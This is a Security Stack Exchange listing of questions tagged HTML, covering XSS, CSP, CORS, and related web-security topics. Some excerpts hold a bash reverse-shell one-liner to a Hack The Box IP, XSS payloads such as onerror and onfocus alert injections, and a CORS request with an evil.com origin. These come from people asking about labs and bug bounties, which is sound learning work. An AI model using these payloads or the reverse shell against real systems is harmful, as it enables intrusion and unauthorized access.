Questions tagged [html]
HTML (HyperText Markup Language) is a language used to create web pages using tags inline with the content to indicate to browsers how to display that content, using the tags to interpret formatting, images, scripts and other content.
347
questions
-1
votes
0
answers
18
views
scraping of commented tags is making scraping difficult [closed]
I am scraping a website that is allowing the scraping of data, but the problem is that some tags have comment values. how to scrape comment tags?
0
votes
1
answer
64
views
Save password pop-up appears with encrypted password [closed]
I have an requirement for an web application that during login, while submitting login form the password should be transmitted as encrypted but also password manager's save password pop-up should show ...
2
votes
0
answers
40
views
Trying to send a POST request using curl to a HTB machine
I`m trying to perform a SSRF attack on a Hack The Box machine (editorial.htb). I'm trying to send a POST request using curl with the command
curl --data "hckyou.txt" -X POST http://...
- 21
1
vote
0
answers
60
views
How to launch XSS code from an INPUT tag?
I have a website with the following code:
<input class="Header--search--form-input" name="search" value="" onfocus="alert(1)" autofocus="...
0
votes
0
answers
66
views
Tabnabbing, adblocking and web browser security
My question regards tabnabbing and how to block it. I will first describe my understanding of the subject, but I'm no expert, so this introduction is meant for you to correct me if applicable.
Here is ...
- 19
0
votes
1
answer
176
views
Bypassing CSP and implementing XSS attack
I am using Content Security Policy (CSP) rules in my code to defend against XSS attacks. Here are the CSP rules I have implemented using Helmet:
.use(
helmet.contentSecurityPolicy({
directives: {
...
- 13
0
votes
1
answer
364
views
Is it possible to disable or change sec-fetch-* HTTP headers?
I might have found a way to highjack an Oauth Flow, but the source server is responding with 403 errors when the Oauth request is sent with a Sec-Fetch-Dest HTTP header.
Is there a way to alter or ...
- 1,492
2
votes
1
answer
264
views
Secure way to output encoding HTML for insert raw html via javascript
I want to be 100% secure, I create raw html this way:
const template = document.createElement('template')
template.innerHTML = html_raw
const cloned = template.content.cloneNode(true)
document....
- 51
21
votes
6
answers
12k
views
Are Cyrillic characters a real threat?
I've seen people in security saying URLs with Cyrillic characters are dangerous. If you ever type such characters on a browser you'd see they break into crazy unrecognizable URLs that have nothing to ...
- 375
0
votes
0
answers
170
views
XSS Bypass Whitelist
I found a HTML injection on a markdown although it seems odd as the user already can use html in the box
So I tried to turn it to XSS but after a day with trial and error I concluded that the website ...
- 111
0
votes
1
answer
162
views
Obfuscated HTML [closed]
I'm looking at a potential phishing site and I see that some of the HTML is obfuscated. It's not Base64. All the links look like this:
<link
href="6bkaQeQe69e/st-...
1
vote
0
answers
108
views
How to use html encoded characters to perform XSS?
I am trying to perform XSS but to get out of the context and write the payload I need to use Angle brackets and the angle brackets are html encoded. I tried double encoding technique with url encoding+...
- 11
0
votes
0
answers
136
views
unsafe-hashes an alternatives
I need to run the following inline script to inject some Thymeleaf model variables into a javascript file of mine.
<script th:inline="javascript">
/*<
- 101
0
votes
1
answer
944
views
Why can't we close some tags for cross site scripting purposes?
There's a webstore that i am trying to find a XSS vulnerability for BUG BOUNTY.
On that store is a search bar that i can send anything
https://www.examplestore.com/blog/?s=</title><script>...
1
vote
1
answer
147
views
Which response headers for HTML snippets?
I have a web application that retrieves HTML snippets from the server and places them on the page, using JavaScript. The server responds with a small part of a HTML document. What Content-Type header ...
- 33.2k
1
vote
0
answers
317
views
HTML tags converting into entity characters in XSS [closed]
When I type xss in a search box, it's reflecting and when I inspect it, it's showing as <h1>Search results for: xss</h1>.
So I tried to inject script <img src=x onerror=alert(1)> and ...
- 23
1
vote
2
answers
393
views
What are the risks of XSS in this forms?
I recently developed a website that was operational for me ^^
However, someone came to try injections and found an XSS flaw.
I have a form like this:
<h2>
<span>Search</span>
</...
- 11
0
votes
1
answer
951
views
Vulnerabilities in img src
It is known that in modern browsers you can't run XSS in img src(assuming quotes are escaped), because neither javascript: protocol, nor svg will execute the code. But does it mean that trusted data ...
0
votes
1
answer
368
views
Can you have an <iframe> tag with no spaces?
I am looking to figure out how to create an iFrame tag without any spaces. I have found an input on a Bug Bounty program that reflects my input back into the page, and allows me to escape double ...
- 50
1
vote
1
answer
3k
views
"One of your code blocks includes unescaped HTML." JS console security warning
I operate a blog using Google's Blogger platform about programming. I use highlight.js for syntax highlighting, and now on my posts I see the console warning: One of your code blocks includes ...
- 111
1
vote
1
answer
152
views
Risk of injecting a malicious script/code?
I was was inspecting elements in a website and I randomly stumbled onto this piece of code .
</style><meta name="add-styles-here"/><meta name="add-scripts-here"/>&...
- 23
1
vote
0
answers
287
views
Need for URL encoding in XSS / CORS lab
I am doing one of Portswigger's labs on web security, specifically CORS (cross origin resource sharing). I am having trouble understanding why there is a need for URL encoding certain parts of the XSS ...
- 11
0
votes
2
answers
643
views
Parameter vulnerable for HTML injection but cannot exploit because of URL encoding
I found a HTML injection vulnerability but there is an issue.
The following request returns the following:
curl "https://redacted.com/xss/para?meter="><h1>Test\</h1>"<...
- 11
2
votes
1
answer
2k
views
WSS protocol vs HTTPS protocol as an iframe embedded source in a web page
until recently, I've been embedding a chatbot service from a different/external site with an iframe tag.
it's a paid service, not a free one.
today I saw that they changed a few urls, swithing from &...
- 160
0
votes
1
answer
185
views
Should API keys, even for free services, be visible in a page's source?
I sometimes see API keys in page sources, such as the following:
<span class="nf">init</span><span class="p">(</span><span class="nv">...
1
vote
1
answer
2k
views
What are the security concerns of embedding Base64-encoded images into an HTML document?
We are developing an MVC web-application in Django and having concerns about image uploading.
First of all, here are our business requirements:
Our users can upload images (like profile pictures, etc)...
- 53
1
vote
1
answer
999
views
XSS - Anyway to bypass double quotes in href of anchor?
I have an anchor that has href attribute populated by my input. I am trying to input javascript, but it always renders it useless since it always appears between double quotes.
So far, I have tried ...
- 111
1
vote
1
answer
1k
views
Can javascript from parent page read url of popup window?
Lets say I'll open a third party page from the parent page using window.open(popup method)
Now what I want to know is there any way where the parent page(using javascript or any third party library) ...
- 11
-1
votes
1
answer
1k
views
CORS attack using authentication token [closed]
I found a website which is vulnerable to cors.(https://portswigger.net/web-security/cors)
GET /api/requestApiKey HTTP/1.1.
Host: vulnerable-website.com.
Origin: https://evil.com.
AUTHENTICATION: ...
3
votes
1
answer
642
views
Website with embedded PDFs and JavaScript for Acrobat
Context
On my website, users can upload their PDF files, and then some, other users can view the uploaded PDF files.
I was wondering if this could come with security issues.
The uploaded PDF are ...
- 31
2
votes
1
answer
349
views
What sandbox does an <object> element run in? Can this sandbox be configured?
I run a site that displays user-generated SVGs. They are untrusted, so they need to be sandboxed.
I currently embed these SVGs using <object> elements. (Unlike <img>, this allows loading ...
- 123
0
votes
0
answers
268
views
sh reverse shell used to work as of an hour ago but nowthe server returns 500 Internal Server Error. Please take a look at my GET request and response
This is the reverse shell I'm using: sh -i >& /dev/tcp/10.10.14.106/3000 0>&1 and URL encoded is sh+-i+>%26+/dev/tcp/10.10.XX.XX/3000+0>%261+
It used to work just fine and I'd ...
- 1
1
vote
2
answers
6k
views
Can an HTML attachment in an email contain a virus?
I received an email from an old colleague asking me to take a look at an attachment. The email didn’t seem suspicious at all, it contained all the right logos, etc. When I opened the attachment it ...
- 11
0
votes
2
answers
920
views
XSS payloads getting filtered but HTML tags are getting rendered. Can we exploit this? [duplicate]
I was trying to test a potential XSS vulnerability on a website. On the search bar I can see the filtering process happening i.e if I type script> (not with starting <) I can see the same in the ...
0
votes
0
answers
176
views
What is the possible impact of inserting user input into image src?
A website takes user input and pass into img src. What is the possible impact that I can do with it?
<img src="https://website.com/static/{user-input}">
I did think of some options:
...
- 61
1
vote
2
answers
529
views
abiliity to change elements in HubSpot iFrame forms
I recently started working on adding custom code to HubSpot forms after their form is loaded via an iFrame. Initially, I was using the following code to access the iFrame to change it:
var form = ...
- 113
0
votes
0
answers
106
views
Static Content Security
I have some static content HTML in a cloud storage space/ CDN.
How can I serve this only to authenticated users?
I am planning to use these static content on edx platforms.
How can I securely ...
- 1
0
votes
0
answers
124
views
Taking html, js, css input from the user
We are building a multitenancy web app with Laravel (+Blade), each user can create a store (tenancy), and have a control panel where they can edit the store settings and styling, to edit the store ...
- 101
2
votes
0
answers
207
views
Does Windows Server ship with any sensitive images in the filesystem?
I'm working with an interesting vulnerability I found which enables local file inclusion (LFI) on a target server. In summary, there is a PDF generation API endpoint which accepts an HTML string as ...
- 21
0
votes
1
answer
2k
views
Could there be malware in a video on twitter? [duplicate]
I don't know anything about security.
I want to download the videos I like from twitter. And I'm not going to do it by writing a program. I will manually find the necessary link in the html document ...
- 1
4
votes
1
answer
495
views
Mitigation for Insecure Deserialization
I'm trying to look for some way for mitigation of insecure deserialization vulnerability for the application front-end
Then I found this link
https://blog.jscrambler.com/exploring-the-owasp-top-10-by-...
aj go
1
vote
0
answers
118
views
Security implications of an HTTP POST endpoint that accepts arbitrary HTML and returns it back
For generating PDFs in our web application we have a simple service that accepts a chunk of HTML from the client, wraps it in a standard template, does a couple of simple transforms (like replacing ...
- 111
0
votes
1
answer
314
views
Is there malicous HTML?
I'm writing a chrome extension that evaluates certain code blocks from GitHub pages, e.g.,
Lorem ipsum
```html-embed
<iframe></iframe>
```
dolor site amet.
and adds their content as HTML ...
- 159
1
vote
1
answer
3k
views
Bypass input validation
I'm trying to create a vulnerable sandbox environment for pentesting challenges. As part of the challenge, I want to include some elements of XSS or SQLi if possible. However, I do not wish to make ...
- 15
0
votes
1
answer
680
views
XSS Payloads: <script> vs javascript:
Hello I was experimenting with XSS payloads and couldn't help wonder the syntax for
javascript:alert(0)
The most basic payload for XSS makes sense, since the tag is used for JavaScript in HTML.
<...
0
votes
1
answer
251
views
Can display a GIF in <img> tag causing Client-side DOS
SVG image can be used in DOS user browser with billion laugh attack. Can we do the same with other image types? especially GIF?
Thanks everyone.
- 61
2
votes
1
answer
231
views
Is an XSS attack possible under these constraints?
The output is:
<img src="http://example.com/[input]" oncontextmenu="openUrl('http://example.com/[input]')">
Where [input] is the user input, which is sanitised through this ...
- 121
0
votes
1
answer
812
views
Principally, is input type="text" instead input type="url" a security problem for "website" form fields?
I have a simple HTML-PHP-CSS contact form (no JavaScript) with some trivial fields sent via PHP's mail() function. One of the fields is "website" field in which a user should input a website ...
1
vote
1
answer
3k
views
for reCaptcha, the token needs to be sent to backend for validation right?
So far, I have reCAPTCHA setup in the "submit" button for my login form with v2 Invisible recAPTCHA. But, I have a feeling that the token that I retrieve from Google needs to be sent to my ...
- 11
2
votes
3
answers
207
views
Protecting bare text / link email address published in a website
I have an all-core MediaWiki website; no addons, no forms besides a login form (not even a contact us form); the MediaWiki installation is continuously upgraded and everything is quite minimal and ...
